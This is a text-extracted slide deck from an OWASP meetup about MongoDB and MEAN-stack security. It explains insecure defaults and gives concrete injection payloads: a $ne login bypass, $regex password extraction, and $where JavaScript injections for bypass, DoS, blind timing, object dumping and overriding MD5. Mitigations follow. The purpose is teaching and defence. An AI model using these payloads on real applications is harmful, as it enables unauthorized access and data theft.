nosql noinjections or nosecurityfiles.meetup.com/18710651/2016-10-mongodb_owasp.pdf · out of the...
TRANSCRIPT
What is
Document Database (NoSQL)
Documents = JSON
Schema-free
Nested documents (No JOINs)
BSON for efficiency
Complex Query Language
Create/Read/Update/Delete (CRUD)
Data Aggregation (sum/average/group by/etc.)
Full Text Search
Map/Reduce (BigData)
JavaScript Query Environment database code execution :)
Why
(Most) Popular NoSQL database
Open source (as of 2009)
Easy to get started
No tables or columns
No data types
Just plain JSON objects
MEAN stack
Easy to setup and use
Not always a good thing…
Source: http://db-engines.com/en/ranking_trend
Stack
MongoDB
Database/JSON store
Express.JS
Web server
Angular.JS
Client-side app code
Node.JS
Server-side app code
“Full-Stack” JavaScript
JavaScript everywhere
JSON everywhere
Minimal data-conversions
Often: API-based apps
Out of the Box Insecurity
By default:
No authentication
No access control
No encryption
At rest
Or in transit
Never, ever, expose to the internet
Out of the Box Insecurity
By default:
No authentication
No access control
No encryption
At rest
Or in transit
Never, ever, expose to the internet
Source: http://www.computerworld.com/article/3016216/security/over-680tb-of-data-exposed-in-mongodb-databases.html
Source: https://securityintelligence.com/news/about-30000-instances-of-mongodb-exposed-on-web-security-researcher-says/
Source: http://arstechnica.com/security/2016/10/breach-exposes-at-least-58-million-accounts-includes-names-jobs-and-more/
MongoDB Injection Attacks
Network attacks are obvious…
But, can we leverage the SQL Injection?
Mongo says no:
https://docs.mongodb.com/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-
injection
MongoDB Injection Attacks
Network attacks are obvious…
But, can we leverage the SQL Injection?
Mongo says no:
But…
https://docs.mongodb.com/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-
injection
Query Selectors – Just JSON!
Typical query might look like:
More complex query might look like:
Operators include:
$lt $gt $eq $ne $regex (and many more)
Product.find({id: req.query.product_id})
Product.find({price: { $lt: req.query.price}})
Query Selector Injection
Query to Inject:
User.find({username: req.query.username,password: req.query.password})
Query Selector Injection
Query to Inject:
Injection:
http://example.vuln/login?username=admin&password[$ne]=
Resulting Query:
User.find({username: req.query.username,password: req.query.password})
User.find({username: ”admin”,password: {$ne: “”}})
Password Extraction
By using the $regex operator, we can extract passwords:
password[$regex]=^a 401 Unauthorizedpassword[$regex]=^b 401 Unauthorizedpassword[$regex]=^c 401 Unauthorizedpassword[$regex]=^d 401 Unauthorizedpassword[$regex]=^e 401 Unauthorizedpassword[$regex]=^f 200 OKpassword[$regex]=^fa 401 Unauthorizedpassword[$regex]=^fb 401 Unauthorizedpassword[$regex]=^fc 401 Unauthorized…password[$regex]=^fo 200 OK…password[$regex]=^foo$ 200 OK
Bonus: XSS Vector
Displaying MongoDB error messages is BAD
User.findOne({username: req.query.username,password: req.query.password},function(error, user) {
if (error)return res.send(error);
elsereturn res.send(“Logged in as: “+user.username);
}});
Only You Can Prevent Query Selector
Injections
Validate/Sanitize your inputs….
I know… you know… but do your developers know?
But I thought ORMs prevent “Injections”
MEAN is young
(Almost) no libraries do this by default
User.findOne({username: String(req.query.username),password: String(req.query.password)});
Server Side JavaScript (SSJS) Execution
Executed in the context of the Mongo server
Operator: $where
Aggregations
Group (aka GROUP BY)
Used to create custom aggregations
Map/Reduce (aka BigData)
Used to perform complex logic server-side
Customer.find({ $where: “this.credits == this.debits” })
User.find({ $where: “this.password == MD5(‘”+req.query.password+”’)”})
SSJS Injection
User-supplied data -> JavaScript function -> RCE
Same issue as traditional SQL injection
Arbitrary JS code, but sandboxed (versions >2.4)
Cannot write/modify data
Cannot access global db object
Cannot access other “collections”
User.find({ $where: “this.password == MD5(‘”+req.query.password+”’)”})
Anatomy of a SSJS Injection
‘;return 1==1;}// - Roughly equivalent to SQLi: ‘ OR 1=1—
‘;return this.username==“admin”;}//
‘;while(1);return 1==1;}//
‘;sleep(1000);return 1==1;}//
‘;assert(false,tojson(this));return 1==1;}//
The Global Namespace
Documentation: 31 functions
vs
Reality: ~100 functions/properties
Interesting: Able to read recent JavaScript clauses via the _funcs# properties
Scary: Able to modify JS built-in
functions
var global = Function('return this')();printjson(Object.getOwnPropertyNames(global));
Source: https://docs.mongodb.com/manual/reference/operator/query/where/
SSJS Injection Attack Patterns
Error injection (dump objects)
assert(false, tojson(this))
Error injection (XSS)
assert(false, “<script>alert(‘xss’);</script>”)
DoS
while(1);
Blind Injections
if(str[0]==“a”){sleep(100);}
Advanced SSJS Injection Attack Patterns
Taint the global namespace:
var global = Function('return this')(); global.Date=function(){ assert(false,tojson(eval(“obj”))); }; return 1=1;}//
Disrupt security functionality
var global = Function('return this')(); global.MD5=function(x){ return x; }; return 1=1;}//
Dump recent code execution
var global = Function('return this')(); assert(false,tojson(global._funcs1)); return 1=1;}//
Preventing SSJS Injection
Disable scripting entirely:
--noscripting
Just don’t have user input in JS code…
Validate…Validate…Validate…
Scoped Variables????
Preventing SSJS Injection
Disable scripting entirely:
--noscripting
Just don’t have user input in JS code…
Validate…Validate…Validate…
Scoped Variables????
Yes, but no major ORM supports this yet
var bson = require('bson');
var ssjs = new bson.Code(“(this.credits -
this.debits) > amount", {amount: req.query.amount}
);
myCollection.find( { $where: ssjs} );
State of MongoDB
Most deployments don’t do
network stuff right
Apps/Libraries haven’t learned
lessons from SQL injection
Web frameworks assist us build
query objects
JavaScript injection is scary
State of MongoDB
Most deployments don’t do
network stuff right
Apps/Libraries haven’t learned
lessons from SQL injection
Web frameworks assist us build
query objects
JavaScript injection is scary
Security Testing Tools
Burp Suite: Good SSJS detection
NoSQLMap: Outdated/Limited for
SSJS; good for network stuff
Pretty much nothing scans for
query selector injection